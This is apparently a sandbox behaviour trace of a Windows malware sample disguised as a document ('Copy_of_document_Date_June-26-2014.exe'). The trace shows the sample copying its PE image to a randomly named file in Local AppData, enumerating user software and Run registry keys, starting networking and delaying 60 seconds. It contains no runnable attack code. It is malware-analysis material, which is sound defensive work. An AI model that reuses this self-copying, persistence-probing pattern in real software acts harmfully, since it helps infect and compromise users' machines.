09:12:11,284	972	RegOpenKeyExW	Handle => 0x00000144 Registry => 0x80000002 SubKey => Software\Classes\CLSID	SUCCESS	0x00000000
09:12:11,284	972	RegOpenKeyExW	Handle => 0x0000014c Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
09:12:11,284	972	RegQueryValueExW	Handle => 0x0000014c Data => ValueName => REGDBVersion	SUCCESS	0x00000000
09:12:11,284	972	RegCloseKey	Handle => 0x0000014c	SUCCESS	0x00000000
09:12:11,284	972	LdrGetDllHandle	ModuleHandle => 0x7c800000 FileName => KERNEL32.DLL	SUCCESS	0x00000000
09:12:11,284	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => InitializeCriticalSectionAndSpinCount FunctionAddress => 0x7c80b8b9 ModuleHandle => 0x7c800000	SUCCESS	0x00000000
09:12:11,284	972	NtCreateFile	ShareAccess => 1 FileName => C:\WINDOWS\Registration\R000000000007.clb DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x0000014c	SUCCESS	0x00000000
09:12:11,284	972	NtQueryInformationFile	FileHandle => 0x0000014c FileInformation => \x00`\x00\x00\x00\x00\x00\x00\xf0W\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:12:11,284	972	NtSetInformationFile	FileHandle => 0x0000014c FileInformation =>	SUCCESS	0x00000000	1 time
09:12:11,294	972	NtReadFile	Buffer => COM+\x01\x00\x00\x00\x01\x00\x12\x00$\x00\x00\x00\x00\x01\x01\x00c\x00\x00\x00\x00\x00\x00\x01\x01\x00\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00F\x0e\x00\x00\x000\x01\x00\x00\xa0\x03\x00\x003_0\x00\xd0\x04\x00\x00\x0c\x00\x00\x003_1\x00\xdc\x04\x00\x00\x88\x02\x00\x003_2\x00d\x07\x00\x00<\x00\x00\x003_3\x00\xa0\x07\x00\x00\x90\x08\x00\x003_4\x000\x10\x00\x00(\x00\x00\x003_5\x00X\x10\x00\x00(\x00\x00\x003_6\x00\x80\x10\x00\x00(\x00\x00\x003_7\x00\xa8\x10\x00\x00\x88\x10\x00\x003_8\x000!\x00\x00\xa8 \x00\x003_9\x00\xd8*\x00\x00<\x04\x00\x003_10\x00\x00\x00\x00\x14/\x00\x00\x0c\x01\x00\x003_11\x00\x00\x00\x00 0\x00\x00\x1c\x00\x00\x003_12\x00\x00\x00\x00<0\x00\x00\x14\x00\x00\x003_16\x00\x00\x00\x00P0\x00\x00\x90\x0e\x00\x00#Schema\x00\xe0>\x00\x00 FileHandle => 0x0000014c	SUCCESS	0x00000000
09:12:11,294	972	RegOpenKeyExW	Handle => 0x0000014c Registry => 0x80000002 SubKey => Software\Microsoft\COM3	SUCCESS	0x00000000
09:12:11,294	972	RegQueryValueExW	Handle => 0x0000014c Data => ValueName => REGDBVersion	SUCCESS	0x00000000
09:12:11,294	972	RegCloseKey	Handle => 0x0000014c	SUCCESS	0x00000000
09:12:11,294	972	RegOpenKeyExW	Handle => 0x0000014e Registry => 0x000000da SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
09:12:11,294	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => TreatAs	FAILURE	0x00000002
09:12:11,294	972	RegOpenKeyExW	Handle => 0x00000152 Registry => 0x000000da SubKey =>	SUCCESS	0x00000000
09:12:11,304	972	RegCloseKey	Handle => 0x0000014e	SUCCESS	0x00000000
09:12:11,304	972	RegOpenKeyExW	Handle => 0x0000014e Registry => 0x00000152 SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
09:12:11,304	972	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x0000014e SubKey => InprocServer32	SUCCESS	0x00000000
09:12:11,304	972	RegQueryValueExW	Handle => 0x00000156 DataLength => 1000 ValueName => InprocServer32 Type => 2976896	FAILURE	0x00000002
09:12:11,304	972	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
09:12:11,304	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => InprocServerX86	FAILURE	0x00000002
09:12:11,304	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => LocalServer32	FAILURE	0x00000002
09:12:11,304	972	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x0000014e SubKey => InprocServer32	SUCCESS	0x00000000
09:12:11,304	972	RegQueryValueExW	Handle => 0x00000156 Data => C\x00:\x00\\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x00\\x00s\x00y\x00s\x00t\x00e\x00m\x003\x002\x00\\x00m\x00s\x00x\x00m\x00l\x003\x00.\x00d\x00l\x00l\x00\x00\x00 ValueName =>	SUCCESS	0x00000000
09:12:11,304	972	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
09:12:11,304	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => InprocHandler32	FAILURE	0x00000002
09:12:11,304	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => InprocHandlerX86	FAILURE	0x00000002
09:12:11,304	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => LocalServer32	FAILURE	0x00000002
09:12:11,304	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x0000014e SubKey => LocalServer	FAILURE	0x00000002
09:12:11,304	972	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x00000152 SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
09:12:11,304	972	RegQueryValueExW	Handle => 0x00000156 DataLength => 100 ValueName => AppID Type => 522212	FAILURE	0x00000002
09:12:11,304	972	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
09:12:11,314	972	RegCloseKey	Handle => 0x0000014e	SUCCESS	0x00000000
09:12:11,314	972	RegOpenKeyExW	Handle => 0x0000014e Registry => 0x00000152 SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
09:12:11,314	972	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x0000014e SubKey => InprocServer32	SUCCESS	0x00000000
09:12:11,314	972	RegQueryValueExW	Handle => 0x00000156 Data => B\x00o\x00t\x00h\x00\x00\x00 ValueName => ThreadingModel	SUCCESS	0x00000000
09:12:11,314	972	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
09:12:11,314	972	RegCloseKey	Handle => 0x0000014e	SUCCESS	0x00000000
09:12:11,314	972	RegOpenKeyExW	Handle => 0x00000156 Registry => 0x80000000 SubKey => CLSID\{F5078F32-C551-11D3-89B9-0000F81FE221}	SUCCESS	0x00000000
09:12:11,314	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x00000156 SubKey => TreatAs	FAILURE	0x00000002
09:12:11,314	972	RegCloseKey	Handle => 0x00000156	SUCCESS	0x00000000
09:12:11,314	972	LdrLoadDll	Flags => 518988 BaseAddress => 0x74980000 FileName => C:\WINDOWS\system32\msxml3.dll	SUCCESS	0x00000000
09:12:11,324	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => DllGetClassObject FunctionAddress => 0x749a381a ModuleHandle => 0x74980000	SUCCESS	0x00000000
09:12:11,324	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => DllCanUnloadNow FunctionAddress => 0x749bc430 ModuleHandle => 0x74980000	SUCCESS	0x00000000
09:12:11,324	972	LdrGetDllHandle	ModuleHandle => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:12:11,324	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtQueryInformationProcess FunctionAddress => 0x7c90d7e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,324	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtReadVirtualMemory FunctionAddress => 0x7c90d9e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:12:11,324	972	NtReadVirtualMemory	Buffer => \x00\x00\x00\x00\xff\xff\xff\xff\x00\x00@\x00\x90\x1e%\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\xd6\x97|\x00\x10\x90|\xe0\x10\x90|\x01\x00\x00\x00p)A~\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xd5\x97|\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00o\x7f\x00\x00o\x7f\x88\x06o\x7f\x00\x00\xfb\x7f\x00\x10\xfc\x7f\x00 \xfd\x7f\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x9b\x07m\xe8\xff\xff\x00\x00\x10\x00\x00 \x00\x00\x00\x00\x01\x00\x00\x10\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\xc0\xcf\x97|\x00\x00Q\x00\x00\x00\x00\x00\x14\x00\x00\x00x\xb1\x97|\x05\x00\x00\x00\x01\x00\x00\x00( \x00\x03\x02\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ProcessHandle => 0x00000170 BaseAddress => 0x7ffd6000	SUCCESS	0x00000000
09:12:11,334	972	NtReadVirtualMemory	Buffer => \x00\x10\x00\x00x\x07\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\x00\x08\x02\x90\x02\x02\x00\x0c\x00\x00\x00\x10\x01\x12\x01\x98\x04\x02\x00\x88\x00\x8a\x00\xac\x05\x02\x00\x8c\x00\x8e\x008\x06\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x8a\x00\xc8\x06\x02\x00\x1e\x00 \x00T\x07\x02\x00\x00\x00\x02\x00t\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00 ProcessHandle => 0x00000170 BaseAddress => 0x00020000	SUCCESS	0x00000000
09:12:11,334	972	NtReadVirtualMemory	Buffer => C\x00:\x00\\x00D\x00O\x00C\x00U\x00M\x00E\x00~\x001\x00\\x00T\x00D\x00W\x00\\x00L\x00O\x00C\x00A\x00L\x00S\x00~\x001\x00\\x00T\x00e\x00m\x00p\x00\\x00C\x00o\x00p\x00y\x00_\x00o\x00f\x00_\x00d\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00_\x00D\x00a\x00t\x00e\x00_\x00J\x00u\x00n\x00e\x00-\x002\x006\x00-\x002\x000\x001\x004\x00.\x00e\x00x\x00e\x00 ProcessHandle => 0x00000170 BaseAddress => 0x000205ac	SUCCESS	0x00000000
09:12:11,344	972	RegCreateKeyExW	Handle => 0x00000178 Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
09:12:11,344	972	RegQueryValueExW	Handle => 0x00000178 Data => %\x00U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00%\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00A\x00p\x00p\x00l\x00i\x00c\x00a\x00t\x00i\x00o\x00n\x00 \x00D\x00a\x00t\x00a\x00\x00\x00 ValueName => Local AppData	SUCCESS	0x00000000
09:12:11,344	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:12:11,344	972	RegCreateKeyExW	Handle => 0x00000178 Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
09:12:11,344	972	RegSetValueExW	Handle => 0x00000178 Buffer => C\x00:\x00\\x00D\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00s\x00 \x00a\x00n\x00d\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00D\x00W\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00A\x00p\x00p\x00l\x00i\x00c\x00a\x00t\x00i\x00o\x00n\x00 \x00D\x00a\x00t\x00a\x00\x00\x00 ValueName => Local AppData Type => 1	SUCCESS	0x00000000
09:12:11,344	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:12:11,344	972	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000001 SubKey => Software	SUCCESS	0x00000000
09:12:11,344	972	RegEnumKeyExA	Index => 0 Handle => 0x00000178 Name => Adobe Class =>	SUCCESS	0x00000000
09:12:11,344	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Adobe	SUCCESS	0x00000000
09:12:11,354	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 786808	FAILURE	0x00000103
09:12:11,354	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,354	972	RegEnumKeyExA	Index => 1 Handle => 0x00000178 Name => Clients Class =>	SUCCESS	0x00000000
09:12:11,354	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Clients	SUCCESS	0x00000000
09:12:11,354	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 786808	FAILURE	0x00000103
09:12:11,354	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,354	972	RegEnumKeyExA	Index => 2 Handle => 0x00000178 Name => Google Class =>	SUCCESS	0x00000000
09:12:11,354	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Google	SUCCESS	0x00000000
09:12:11,354	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 786808	FAILURE	0x00000103
09:12:11,354	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,354	972	RegEnumKeyExA	Index => 3 Handle => 0x00000178 Name => Intel Class =>	SUCCESS	0x00000000
09:12:11,354	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Intel	SUCCESS	0x00000000
09:12:11,354	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 786808	FAILURE	0x00000103
09:12:11,354	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,354	972	RegEnumKeyExA	Index => 4 Handle => 0x00000178 Name => Microsoft Class =>	SUCCESS	0x00000000
09:12:11,354	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Microsoft	SUCCESS	0x00000000
09:12:11,354	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 786808	FAILURE	0x00000103
09:12:11,354	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,354	972	RegEnumKeyExA	Index => 5 Handle => 0x00000178 Name => MozillaPlugins Class =>	SUCCESS	0x00000000
09:12:11,354	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => MozillaPlugins	SUCCESS	0x00000000
09:12:11,354	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 786808	FAILURE	0x00000103
09:12:11,354	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,354	972	RegEnumKeyExA	Index => 6 Handle => 0x00000178 Name => Netscape Class =>	SUCCESS	0x00000000
09:12:11,354	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Netscape	SUCCESS	0x00000000
09:12:11,354	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 786808	FAILURE	0x00000103
09:12:11,364	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,364	972	RegEnumKeyExA	Index => 7 Handle => 0x00000178 Name => Policies Class =>	SUCCESS	0x00000000
09:12:11,364	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Policies	SUCCESS	0x00000000
09:12:11,364	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 786808	FAILURE	0x00000103
09:12:11,364	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,364	972	RegEnumKeyExA	Index => 8 Handle => 0x00000178 Name => Classes Class =>	SUCCESS	0x00000000
09:12:11,364	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Classes	SUCCESS	0x00000000
09:12:11,364	972	RegEnumValueA	Index => 0 Handle => 0x0000017c Data => \x00 ValueName =>	SUCCESS	0x00000000
09:12:11,364	972	RegEnumValueA	Index => 1 Handle => 0x0000017c DataLength => 1 ValueName => Type => 1	FAILURE	0x00000103
09:12:11,364	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,364	972	RegEnumKeyExA	Index => 9 Handle => 0x00000178 Name => Classes Class =>	FAILURE	0x00000103
09:12:11,364	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:12:11,374	972	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Run	SUCCESS	0x00000000
09:12:11,374	972	RegEnumValueA	Index => 0 Handle => 0x00000178 DataLength => 4096 ValueName => x\x01\x0c Type => 1	FAILURE	0x00000103
09:12:11,374	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:12:11,374	972	NtCreateFile	ShareAccess => 1 FileName => C:\DOCUME~1\TDW\LOCALS~1\Temp\Copy_of_document_Date_June-26-2014.exe DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x00000178	SUCCESS	0x00000000
09:12:11,374	972	NtQueryInformationFile	FileHandle => 0x00000178 FileInformation => ?R\xdda\xaf\x91\xcf\x01\xb0j4f \x92\xcf\x01?R\xdda\xaf\x91\xcf\x01?R\xdda\xaf\x91\xcf\x01 \x00\x00\x00\x00\x00\x00\x00\x00\x10\x03\x00\x00\x00\x00\x00\x00\x0e\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xffK\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x89\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x01\x00\x00\x00\x84\x00\x00\x00\\x00D\x00	FAILURE	2147483653
09:12:11,374	972	NtReadFile	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\x89\xdd\xbaz\xcd\xbc\xd4)\xcd\xbc\xd4)\xcd\xbc\xd4)C\xa3\xc7)\xd0\xbc\xd4)\xeaz\xaf)\xc6\xbc\xd4)\xcd\xbc\xd5)\x9f\xbc\xd4)\xd3\xeeW)\xcc\xbc\xd4)\xcd\xbc\xd4)\xcf\xbc\xd4)\xd3\xee@)\xcc\xbc\xd4)\xd3\xeeE)\xcc\xbc\xd4)Rich\xcd\xbc\xd4)\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x04\x00T!\xacS\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x03\x01\x0b\x01 \x00\x00Z\x00\x00\x00\xb2\x02\x00\x00\x00\x00\x00 FileHandle => 0x00000178	SUCCESS	0x00000000
09:12:11,374	972	NtCreateFile	ShareAccess => 0 FileName => C:\Documents and Settings\TDW\Local Settings\Application Data\gsqnheve.exe DesiredAccess => 0x40100080 CreateDisposition => 5 FileHandle => 0x00000178	SUCCESS	0x00000000
09:12:11,384	972	NtWriteFile	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\x89\xdd\xbaz\xcd\xbc\xd4)\xcd\xbc\xd4)\xcd\xbc\xd4)C\xa3\xc7)\xd0\xbc\xd4)\xeaz\xaf)\xc6\xbc\xd4)\xcd\xbc\xd5)\x9f\xbc\xd4)\xd3\xeeW)\xcc\xbc\xd4)\xcd\xbc\xd4)\xcf\xbc\xd4)\xd3\xee@)\xcc\xbc\xd4)\xd3\xeeE)\xcc\xbc\xd4)Rich\xcd\xbc\xd4)\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x04\x00T!\xacS\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x03\x01\x0b\x01 \x00\x00Z\x00\x00\x00\xb2\x02\x00\x00\x00\x00\x00 FileHandle => 0x00000178	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000001 SubKey => Software	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 0 Handle => 0x00000178 Name => Adobe Class =>	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Adobe	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 16781320	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 1 Handle => 0x00000178 Name => Clients Class =>	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Clients	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 16781320	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 2 Handle => 0x00000178 Name => Google Class =>	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Google	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 16781320	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 3 Handle => 0x00000178 Name => Intel Class =>	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Intel	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 16781320	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 4 Handle => 0x00000178 Name => Microsoft Class =>	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Microsoft	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 16781320	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 5 Handle => 0x00000178 Name => MozillaPlugins Class =>	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => MozillaPlugins	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 16781320	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 6 Handle => 0x00000178 Name => Netscape Class =>	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Netscape	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 16781320	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 7 Handle => 0x00000178 Name => Policies Class =>	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Policies	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x0c Type => 16781320	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 8 Handle => 0x00000178 Name => Classes Class =>	SUCCESS	0x00000000
09:12:11,394	972	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Classes	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 0 Handle => 0x0000017c Data => \x00 ValueName =>	SUCCESS	0x00000000
09:12:11,394	972	RegEnumValueA	Index => 1 Handle => 0x0000017c DataLength => 1 ValueName => Type => 1	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
09:12:11,394	972	RegEnumKeyExA	Index => 9 Handle => 0x00000178 Name => Classes Class =>	FAILURE	0x00000103
09:12:11,394	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:12:11,394	972	WSAStartup	VersionRequested => 0x00000202	SUCCESS	0x00000000
09:12:11,394	972	NtDelayExecution	Milliseconds => 60000	SUCCESS	0x00000000
09:13:11,400	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01b10000	SUCCESS	0x00000000
09:13:11,400	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01e80000	SUCCESS	0x00000000
09:13:11,400	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00042000 BaseAddress => 0x01a1e000	SUCCESS	0x00000000
09:13:11,400	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0000d000 BaseAddress => 0x01a11000	SUCCESS	0x00000000
09:13:11,400	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => FromCacheTimeout Type => 132	FAILURE	0x00000002
09:13:11,410	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SecureProtocols Type => 132	FAILURE	0x00000002
09:13:11,410	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => CertificateRevocation Type => 132	FAILURE	0x00000002
09:13:11,410	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableKeepAlive Type => 132	FAILURE	0x00000002
09:13:11,410	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisablePassport Type => 132	FAILURE	0x00000002
09:13:11,410	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => CacheMode Type => 132	FAILURE	0x00000002
09:13:11,410	972	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,410	972	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => Security_HKLM_only Type => 376	FAILURE	0x00000002
09:13:11,410	972	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
09:13:11,421	972	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:11,421	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002
